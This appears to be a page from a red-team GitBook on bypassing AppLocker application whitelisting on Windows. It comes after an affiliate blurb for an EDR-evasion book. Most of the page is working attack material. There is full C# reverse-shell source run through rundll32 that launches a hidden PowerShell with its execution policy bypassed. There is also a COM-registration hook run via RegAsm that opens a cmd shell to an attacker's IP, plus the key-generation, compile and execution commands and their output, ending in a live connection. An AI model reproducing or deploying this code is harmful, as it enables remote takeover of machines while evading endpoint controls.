Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
Evading EDR: The Definitive Guide to Defeating Endpoint Detection Systems The author uses his years of experience as a red team operator to investigate each of the most common sensor components, discussing their purpose, explaining their implementation, and showing the ways they collect various data points from the Microsoft operating system. In addition to covering the theory behind designing an effective EDR, each chapter also reveals documented evasion strategies for bypassing EDRs that red teamers can use in their engagements.
PS C:\Users\max> Get-AppLockerPolicy -Effective | Test-AppLockerPolicy -Path C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
FilePath PolicyDecision MatchingRule
-------- -------------- ------------
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Allowed (Default Rule) All files located in the Windows folder
PS C:\Users\max> Get-AppLockerPolicy -Effective | Test-AppLockerPolicy -Path C:\Windows\System32\rundll32.exe
FilePath PolicyDecision MatchingRule
-------- -------------- ------------
C:\Windows\System32\rundll32.exe Allowed (Default Rule) All files located in the Windows folder
using System;
using System.IO;
using System.Net.Sockets;
using System.Diagnostics;
using rundll;
namespace RShell
{
internal class Program
{
private static StreamWriter streamWriter; // Needs to be global so that HandleDataReceived() can access it
[DllExport("DllMain")]
public static void DllMain()
{
try
{
// Connect to <IP> on <Port>/TCP
TcpClient client = new TcpClient();
client.Connect("10.10.14.133", 1010);
// Set up input/output streams
Stream stream = client.GetStream();
StreamReader streamReader = new StreamReader(stream);
streamWriter = new StreamWriter(stream);
// Define a hidden PowerShell (-ep bypass -nologo) process with STDOUT/ERR/IN all redirected
Process p = new Process();
p.StartInfo.FileName = "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"; //32-bit version
p.StartInfo.Arguments = "-ep bypass -nologo";
p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.RedirectStandardInput = true;
p.OutputDataReceived += new DataReceivedEventHandler(HandleDataReceived);
p.ErrorDataReceived += new DataReceivedEventHandler(HandleDataReceived);
// Start process and begin reading output
p.Start();
p.BeginOutputReadLine();
p.BeginErrorReadLine();
// Re-route user-input to STDIN of the PowerShell process
// If we see the user sent "exit", we can stop
string userInput = "";
while (!userInput.Equals("exit"))
{
userInput = streamReader.ReadLine();
p.StandardInput.WriteLine(userInput);
}
// Wait for PowerShell to exit (based on user-inputted exit), and close the process
p.WaitForExit();
client.Close();
}
catch (Exception) { }
}
private static void HandleDataReceived(object sender, DataReceivedEventArgs e)
{
if (e.Data != null)
{
streamWriter.WriteLine(e.Data);
streamWriter.Flush();
}
}
}
}
C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8 Tools>sn.exe -k key.snk
Microsoft (R) .NET Framework Strong Name Utility Version 4.0.30319.0
Copyright (c) Microsoft Corporation. All rights reserved.
Key pair written to key.snk
using System;
using System.EnterpriseServices;
using System.IO;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Text;
namespace regsvcser
{
public class Bypass : ServicedComponent
{
public Bypass() { Console.WriteLine("I am a basic COM Object"); }
[ComRegisterFunction] // This executes if registration is successful
public static void RegisterClass(string key)
{
Console.WriteLine("I shouldn't really execute");
Shellcode.Exec();
}
[ComUnregisterFunction] // This executes if registration fails
public static void UnRegisterClass(string key)
{
Console.WriteLine("I shouldn't really execute either.");
Shellcode.Exec();
}
}
public class Shellcode
{
public static void Exec()
{
string serverIp = "10.10.14.166"; // Replace with the attacker's IP
int serverPort = 8080; // Replace with the attacker's port
try
{
using (TcpClient client = new TcpClient(serverIp, serverPort))
using (NetworkStream stream = client.GetStream())
using (StreamReader reader = new StreamReader(stream))
using (StreamWriter writer = new StreamWriter(stream) { AutoFlush = true })
{
Console.WriteLine("Connected to server");
while (true)
{
// Read command from server
string command = reader.ReadLine();
if (command == null || command.ToLower() == "exit")
break;
// Execute command
try
{
var process = new System.Diagnostics.Process
{
StartInfo = new System.Diagnostics.ProcessStartInfo
{
FileName = "cmd.exe",
Arguments = "/c " + command,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true
}
};
process.Start();
string output = process.StandardOutput.ReadToEnd();
string error = process.StandardError.ReadToEnd();
process.WaitForExit();
writer.WriteLine(output);
writer.WriteLine(error);
}
catch (Exception ex)
{
writer.WriteLine("Error: " + ex.Message);
}
}
}
}
catch (Exception ex)
{
Console.WriteLine("Error: " + ex.Message);
}
}
}
}
PS C:\Windows\Microsoft.NET\Framework64\v4.0.30319> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:"C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /target:library /out:C:\Tools\RegasmDLL\Regasm.dll /keyfile:key.snk C:\Tools\RegasmDLL\RegasmDLL\Regasm.cs
Microsoft (R) Visual C# Compiler version 4.8.4161.0
for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.
This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240
PS C:\Windows\Microsoft.NET\Framework64\v4.0.30319> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe /U C:\Tools\RegasmDLL\Regasm.dll
Microsoft .NET Framework Assembly Registration Utility version 4.8.4161.0
for Microsoft .NET Framework version 4.8.4161.0
Copyright (C) Microsoft Corporation. All rights reserved.
I shouldn't really execute either.
Connected to server